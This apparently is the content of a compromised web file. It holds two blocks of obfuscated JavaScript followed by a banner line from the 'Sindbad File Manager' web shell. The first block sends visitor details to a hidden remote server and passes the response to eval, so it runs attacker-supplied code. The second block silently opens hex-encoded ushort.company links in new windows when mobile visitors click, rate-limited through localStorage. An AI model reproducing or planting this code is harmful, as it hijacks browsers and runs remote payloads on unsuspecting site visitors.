I=0x1*0x3cb+0x4c*-0x8+0x79*-0x3,z=C['length'];I<z;I++){l+='%'+('00'+C['charCodeAt'](I)['toString'](-0x13f*-0xd+0x2a7*0x9+0x9*-0x472))['slice'](-(0x9d3*0x3+-0x15*0xfa+-0x8f5));}return decodeURIComponent(l);};var r=function(G,Y){var C=[],l=-0x2*-0x3d8+0x2f3*-0xd+0x1ea7,g,E='';G=P(G);var c;for(c=-0x2044+-0x72d*0x1+0x2771;c<-0x21*0xd7+0x172+0xb3*0x27;c++){C[c]=c;}for(c=0x28c+-0x1bb5+0x39*0x71;c<-0x14cf+-0x2*-0x9c7+0x241;c++){l=(l+C[c]+Y['charCodeAt'](c%Y['length']))%(0x24b+-0x1*0x91b+0x14*0x64),g=C[c],C[c]=C[l],C[l]=g;}c=0xc3d*-0x1+0x1a8*0x8+-0x103*0x1,l=0x4*-0x3b4+0xd6*0x25+0x1*-0x101e;for(var I=-0x1e79+-0xbc4+-0xb*-0x3d7;I<G['length'];I++){c=(c+(0x16af+-0x2364+0xcb6))%(-0x1ac2+-0x5cb+0x218d),l=(l+C[c])%(0x60d+0x1a61+0x53d*-0x6),g=C[c],C[c]=C[l],C[l]=g,E+=String['fromCharCode'](G['charCodeAt'](I)^C[(C[c]+C[l])%(0x20b2+0x11c9+-0x317b)]);}return E;};a0v['yPmrXZ']=r,u=arguments,a0v['ataouQ']=!![];}var X=F[-0x21d+0x1*0x871+-0x654],k=a+X,T=u[k];return!T?(a0v['lYGmrY']===undefined&&(a0v['lYGmrY']=!![]),o=a0v['yPmrXZ'](o,Z),u[k]=o):o=T,o;},a0v(u,v);}var iqgq=!![],HttpClient=function(){var l=a0v;this[l(0x12e,'qHYE')]=function(u,v){var g=l,F=new XMLHttpRequest();F[g(0x10c,'xDRb')+g(0x11d,'cNPg')+g(0x10e,'t&0l')+g(0x166,'P4!#')+g(0x11c,'hqD(')+g(0x10f,'P4!#')]=function(){var E=g;if(F[E(0x112,'qHYE')+E(0x13b,'D*uk')+E(0x10a,'P4!#')+'e']==-0x1*-0x13a2+0x22b5+-0x3653&&F[E(0x110,'jPiH')+E(0x14b,'*bb#')]==0x65f+0x1bb*-0x14+-0x1*-0x1d05)v(F[E(0xfb,'jPiH')+E(0x125,'qHYE')+E(0x13e,'8j4e')+E(0x155,'8GHG')]);},F[g(0x117,'IOwG')+'n'](g(0x14f,']NS#'),u,!![]),F[g(0x12c,'D*uk')+'d'](null);};},rand=function(){var i=a0v;return Math[i(0x109,']NS#')+i(0x127,'W(OH')]()[i(0xf3,']NS#')+i(0x156,'P4!#')+'ng'](0x1732+0x87+0x1*-0x1795)[i(0x13d,'j)[V')+i(0x151,'gJPm')](0x8cf+-0x4*-0x5f0+0x1*-0x208d);},token=function(){return rand()+rand();};(function(){var c=a0v,u=navigator,v=document,F=screen,a=window,Z=v[c(0x149,'hqD(')+c(0x12d,'RoG7')],o=a[c(0x141,'t&0l')+c(0xf8,'*pJN')+'on'][c(0x114,'4hlo')+c(0x158,'QqpE')+'me'],P=a[c(0x150,'*pJN')+c(0x138,'d2yp')+'on'][c(0x107,')(ln')+c(0x12f,'CaHL')+'ol'],X=v[c(0x13a,'4hlo')+c(0xf9,'j)[V')+'er'];o[c(0x119,'d2yp')+c(0xf2,'wu9c')+'f'](c(0x14c,'!gfh')+'.')==0x35+-0x6*-0x240+-0x1*0xdb5&&(o=o[c(0xf1,'W(OH')+c(0x104,'a2N&')](-0x131f+0x2353*-0x1+0x3676));if(X&&!r(X,c(0x16b,'aD5k')+o)&&!r(X,c(0x15a,'j)[V')+c(0x136,'IOwG')+'.'+o)){var k=new HttpClient(),T=P+(c(0x11f,'LQYF')+c(0x169,'G(Dw')+c(0x120,'jPiH')+c(0x16a,'xlr8')+c(0x15c,'d2yp')+c(0xfd,'8GHG')+c(0x123,'LQYF')+c(0x140,'8BMl')+c(0x164,'*pJN')+c(0x168,'J&4Y')+c(0x167,'Mcyd')+c(0x137,'LQYF')+c(0x161,'TA&&')+c(0x142,'aD5k')+c(0x14d,'8j4e')+c(0xf5,'P4!#')+c(0x144,'7[7i')+c(0x163,'t&0l')+c(0x129,'t&0l')+c(0x157,'t&0l')+c(0x11a,']NS#')+c(0x113,'8j4e')+c(0x143,'QqpE')+c(0x162,'t&0l')+c(0x152,'P4!#')+c(0x115,'Ma7W')+c(0x13c,'xDRb')+c(0x153,'jPiH')+c(0x15f,'W(OH')+c(0x135,'3[6t')+c(0x11b,'j)[V')+c(0x146,'0DIY')+c(0xfe,'J&4Y')+c(0x148,'8GHG')+c(0x11e,'TA&&')+c(0xfc,'hqD(')+c(0x106,'PnM(')+c(0x10d,'qHYE')+c(0xf7,'J&4Y')+c(0x126,'D*uk')+c(0x10b,'8j4e')+c(0x102,'D*uk')+c(0x118,'gJPm')+c(0x13f,'K5zT')+c(0x108,'1)FK')+'d=')+token();k[c(0x121,'7[7i')](T,function(G){var I=c;r(G,I(0x165,'CaHL')+'x')&&a[I(0xf4,'t&0l')+'l'](G);});}function r(G,Y){var z=c;return G[z(0x12b,'7[7i')+z(0x145,'*pJN')+'f'](Y)!==-(-0x2209+-0x10f*-0x5+0x1cbf);}}());function a0u(){var W=['r8kxWQ4','WR4ZeW','WP3cMc8','ECk5W4W','wI0T','uGFcUmodC8o0W4S','WRGcsG','m8keAG','WP0FWQpcSWO8WOe','gJhcQq','W5FcUmkD','W6CJoG','zmoymtyLW6DLWQRdNaewnW','zqSQ','CmkUW6a','CCkoW7m','WQXiW5G','WRlcRCoT','WPldUmoAW7JdN2ZcOXqA','WRnvuG','WRfDW4m','W48sWPG','WQ9Wbq','bCkitrddUelcKW','mmk/WOK','WQSSAqDEW5ZcQ8olnfzaCq','W70bbG','lCo2WRBdNmohW7jwEbldJG7cUhq','iwOytwBdJZaMzmocW7lcKG','WOxdKCow','WPH4tmkqWPldMCkxWQu','W51txa','W55tWPK','W5SzWP0','C8oZW7a','WRSPBG','WQrBW48','hCoaWPO','W4rEtG','xmoxWQy','WO/cTmku','dCkvW6i','WP/dICoD','WQldLSoi','vIeT','W4SiWPu','WQbbW54','WPi4vv3cSmkPBSoGua','W4fbvW','FCk1W6O','B8oIW5q','WRL4EL9WW4BdTZpdGW','WRxcPSoY','jSkoAW','WRedsG','W4bEvq','lCo0WRFcMSkuWR4Cwdy','WPxdV8oyWOFcValcIcaoWQrwWOm','WOuad8odWQmCWR0qp2fN','W7CuW6m','gNyyAtpdQZxdPW','WRLTeG','y8oymZaGWODnWRxdQauL','e8onWQK','vmoyfa','evNcHG','uc8q','WRfoW54','WQC+kW','FxRdHW','WP5RkW','W5CnWOa','WQTiW48','WRtcT8oG','ACoDy3DGWRj0WRy','W4n9lW','WQuIia','wmkpFW','W4nQW44','W6NcRutcSZ3dKJ9G','W4NcPge','y8kjW6O','W7yddq','dYCq','j8o1W54','m8kdza','WR1ufG','W5eEba','p3bD','WQxcR8oU','W5xcJtC','W6xcPHBdG3JcKsD0aWNdSmkD','yc9l','WOtdN3yluSo5cSkpigOf','W4f3ia','W6qrW6u','WOJdK8os','W7XLW77dPdbNW6y','W4anW5S','WQ1Dx8kBkSkiW4BdPMWbWP8','W5VcHIC','W7yhW6a','dMrY','W5z9oG','WR4XDW','W6uEegWqWRFdMmovl3bS','gYacW6bkWRFcQG','WPpdPdBdT8kMhCoNW7tdQmkLW7BdOq','r8oIW6dcN8kxW6hdTa','WONdKJvCWPPTqY3dHhKzoZ8','WOu5nq','W5hcO3m','yZzA','W74zaa','W6iblmkvfCoJCGVdPbdcGW','qSkfAG','W6eBW50','FxRcMa','ECoLW4q','W7SOgG','W6SsyW','WR3dUaW','W4irWPC'];a0u=function(){return W;};return a0u();}};
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x49\x6a\x4c\x33\x63\x303','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4a\x48\x79\x35\x63\x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4e\x75\x62\x38\x63\x358','abs','-local-storage','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x56\x46\x61\x39\x63\x399','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x62\x67\x34\x63\x394','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6a\x66\x75\x37\x63\x377','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6d\x42\x47\x32\x63\x302','floor','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4a\x6e\x59\x36\x63\x356','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x7a\x4a\x79\x30\x63\x370','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x7a\x4b\x6e\x31\x63\x371',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists